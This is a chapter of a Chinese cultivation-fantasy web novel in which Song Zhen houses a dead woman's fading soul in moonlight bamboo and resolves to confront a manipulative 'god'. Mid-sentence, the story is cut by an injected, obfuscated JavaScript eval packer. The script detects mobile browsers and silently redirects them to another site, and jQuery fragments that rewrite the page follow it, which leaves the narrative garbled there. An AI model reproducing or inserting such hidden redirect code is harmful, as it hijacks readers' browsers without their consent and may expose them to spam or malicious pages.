虽然发生了一些小插曲,但宋臻好歹是成功拿到了东西。
“剑呢?”
太渊将一脸高兴的宋臻打量了一圈,都没见到满月,心中隐隐生出一股不祥的预感。
宋臻“啊”了一身,微妙一顿,旋即,重新笑开,“月光竹到手了就行。”
“你把剑折了?没当着华骁的面吧?”说到最后几个字时,太渊的声音轻轻抖了一下。
“额……我总得验一下货不是……”
宋臻自然也知道,顶着当事人的身/子在另一位当事人的眼前把他们的定情信物毁了会给对方造成多大的心理冲击。
何况,他们之间的情况,还要加上当着剑修的面把剑给折了这个巨大的BUFF……
高兴的潮水在太渊的询问下逐渐褪去,取而代之的,是后知后觉的心虚。
“其实……也还行吧……至少华骁没因为这件事影响道心!”
配合肢体与表情,宋臻努力想让自己的话变得更加可信一些,只可惜,这次连妄星都不太相信的说法。
“我说的是真的!不信你们问昭南!”
【……】被点到名长剑幽幽出现在她的身侧,【是真的。华骁的反应很平静。】
【没有受到什么影响。】
因为他已经在听说了原本宋臻的死讯后就被影响完了。
毕竟两个人都是自己的弟子,见宋臻都这样说了,太渊自然也不好再说什么。
宋臻垂眸看着手中可能是世界仅存的月光竹,心情有些复杂。
她想,这样一来,也能算是把两个“宋臻”和莫寒初之间的因果还清了。可转念又觉得,这种事情不能由她自己单方面决定。但她又实在不想和莫寒初讨论这件事,总觉得又会牵扯出一堆麻烦。
一通七拐八拐,最后,宋臻竟然拐到了自己是不是也开始亏欠华骁身上了。
“宋臻,那些都是你未来时发生的事情,无论何种因果,都与你无关。”见她迟迟不动,妄星知道,宋臻嘴上不说,实际上心里已经想了很多。
妄星也明白,自己这样说,她并不一定会立刻就听进去。但至少,她会在将来某天再次想起这些时,顺便一并想起有人对她说过这样的话。
“嗯。”
他们的对话并没有避着太渊,毕竟宋臻已经向白姝与华骁摊牌了,太渊知道也不过是迟早的事。
可太渊却并没有追问。
他只是在一边沉默着,看着妄星与宋臻公然说着一件“秘密”,静静地旁观着只属于二人的小世界。
宋臻悄悄看了眼太渊,他在想什么呢?
四目相对,太渊抢在宋臻开口前,找了个离开的借口。
——
到头来,灵光烛居然也没有白拿。
宋臻取下一截月光竹,又用本源的清气点燃烛火,将竹枝放在上面炙烤。随着体内的清气被缓缓抽走,月光竹也在纯白的火焰上渐渐融化。
“这下更像水银了。”
宋臻下意识捂住鼻子,单手掐诀,很快便将其塑形。
在妄星的指导下篆刻完保护魂魄的阵法,看着妄星转移魂魄的动作,宋臻不由屏住呼吸,俨然是在场最紧张的那个。
逝者的魂魄散如流沙,哪怕妄星的动作只花了半息,但也就这短短一个瞬间,莫寒初还是又散掉了一些。
“你说她这剩下的一小半里,是她几岁的量啊。”宋臻只能认命般地叹了口气。
内里空出,灵胎也在妄星手中彻底崩散。宋臻看得一阵后怕,颤颤巍巍地看向妄星,“这个……原来……会散吗?”
妄星颔首,“原本就是残片,离开秘境就开始散了。我当时没把话和你说全,就是怕你又做出什么过度反应。”
“别的事”,自然就是指修补早就濒临碎裂的灵胎。
妄星其实并不介意她容易应激这一点,不如说,就像是只色厉内荏的猫儿,反而处处透着可爱。
可他一想到宋臻可能会因此做出些什么偏激的行为,就觉得这次还是算了。如果是直接杀了华骁抢剑的话倒还好,最怕的就是往另一个方向走向极端。
宋臻吞了口唾沫,劫后余生的感觉席卷全身,“谢谢大哥!这个家没你不行!”
妄星:“……”
要不还是闭嘴吧,谁想和你哥俩?
魂魄得到安置,宋臻的清气还算充足,索性又往月光竹和灵光烛中注入不少,希望天道能够闻着味再现一次身。
烛光大盛,宋臻的视野晃了一下,她立刻稳住身形,缓了好一会,才终于恢复过来。
就消耗量来说,这次和前几次比,不过是小巫见大巫,可脱力感却比之前来得更快更猛……
虽然她很想把一切都交给时间,等着莫寒初的魂魄经过百年、千年的时间和竹节融为一体,再让天道重新降临,但就目前的情况来看,她显然没这么多时间了。
其实宋臻完全可以乐观一点,想着这不过是因为连续几次的透支消耗,还没恢复完全所带来的短暂性削弱,可她从以前起,几乎不是个乐观的人。
——只有提前预想并接受了最坏的结果,她才不会被一次又一次落空的希望给压垮。
何况,她的坏预感,一向很准。
“得想个办法,把天道拽下来。”宋臻很快就拿定了主意。
“搞一出大的也没事,反正祂一直知道我在做什么。”
或许是有什么东西绊住了“神”了,又或许是“神”本身也在密谋着什么,不过毫无疑问,在祂“什么都不做”的时间里,就是宋臻最好的行动时机。
【万一祂就是想等到你最虚弱的时候一击毙命呢?】
宋臻的行为无异于是在破罐子破摔,主打一个不成功便成死人。
昭南好歹也是一路陪着她走过来的,自然不想看着她自寻死路。
“祂不会杀我。”宋臻完全是用笃定的语气说出这句话的。
视线落到妄星身上,他没说什么,只是点了点头,对宋臻的话表示赞同。
从出生起就几乎实在“神”刻意的栽培和指引下长大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273643|191721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的妄星,自然可以算是这个世界上最了解祂的人了,“我不清楚祂的具体计划,但无论祂想怎么做,最终目的都是‘让自己存在的前因后果确立,让自己作为既定事实诞生于世’。至少就目前来看,祂对我们的表现,一直都很满意。”
“……也就是说直到现在,我们也都还在祂的摆布之中啊。”难怪这次幻光秘境,“神”那边静得出奇。
【宋臻,我可以说一句话吗?】
“讲呗。”
这还是昭南第一次这么说话,宋臻当然会感到好奇。
【我讨厌“神”!】
昭南一本正经的语气反倒让宋臻轻松愉快了一些,忍不住笑出了声,“巧了,我也讨厌祂。”
虽然她的讨厌可能和昭南的讨厌不太一样就对了。
其实宋臻早就发觉了,自己对“神”的讨厌一直就很微妙。从祂还在装作“天道”的时候,她就隐隐不喜欢祂了。
明明那时“神”还没对自己做什么。不,更准确一点来说,直到此刻,祂本质上也没有害过自己——仔细想想,祂每次出现、出手,自己非但没失去过什么,反倒还收获了各种方面的便利。
就单纯从“道理”上来讲,自己并不该一直和祂对着干,甚至,需要对祂感恩戴德才对。
可越是这么角色,宋臻就越是觉得窝火。
莫名其妙地、不明所以地、不识抬举的、无理取闹的。
她就是本能里讨厌这个“神”。讨厌得恨不得掐住祂的脖子,看着祂狼狈不堪的苦苦挣扎,最后生生拧断祂的喉骨。
宋臻觉得,仿佛自己骨子里的一切劣根性与阴暗,都在叫嚣着,想要宣泄道祂的身上。
一人一剑表明了立场,齐刷刷看向在场唯一没有说话的男人。
妄星本想无视,却被她俩看得隐隐发毛,只能认输似的开口,“老实讲,我其实不讨厌祂。”
“虽然只是偶尔,虽然很多时候都……不是那么讨喜,但祂是我在孤寂无比的那一千里,唯一一个会来找我说话的存在。”见宋臻神色平静,并没有因为他的话而产生不愉,才继续说道,“硬要说的话,祂甚至可以说,是我的师父,也是第一个朋友。”
诚然,在“成为‘神’”这件事上,他的确也背叛了祂的期望,但如果可以,妄星的确是更想要一个彼此都能相安无事的结果。
“但如果一定要在‘神’和你之中二选一的话,我会选你。”妄星的语气并没有多么郑重,更像是在说一件理所应当,再正常不过的事情。
宋臻当然有被感动到,但更多的,是对妄星会有这样决定的好奇。
毕竟,他们只认识一年不到,可“神”却陪了他千年。甚至,“神”就是他的未来。
妄星被宋臻问到了,想了好一会,才得出一个模糊的答案,“或许是和同性相斥类似的感觉吧,一想到祂是我未来最大的可能性,就觉得这种未来不要也罢。”
“而且,想要站在自己喜欢的人那边,支持她,陪伴她,为她付出,不是理所当然的吗?”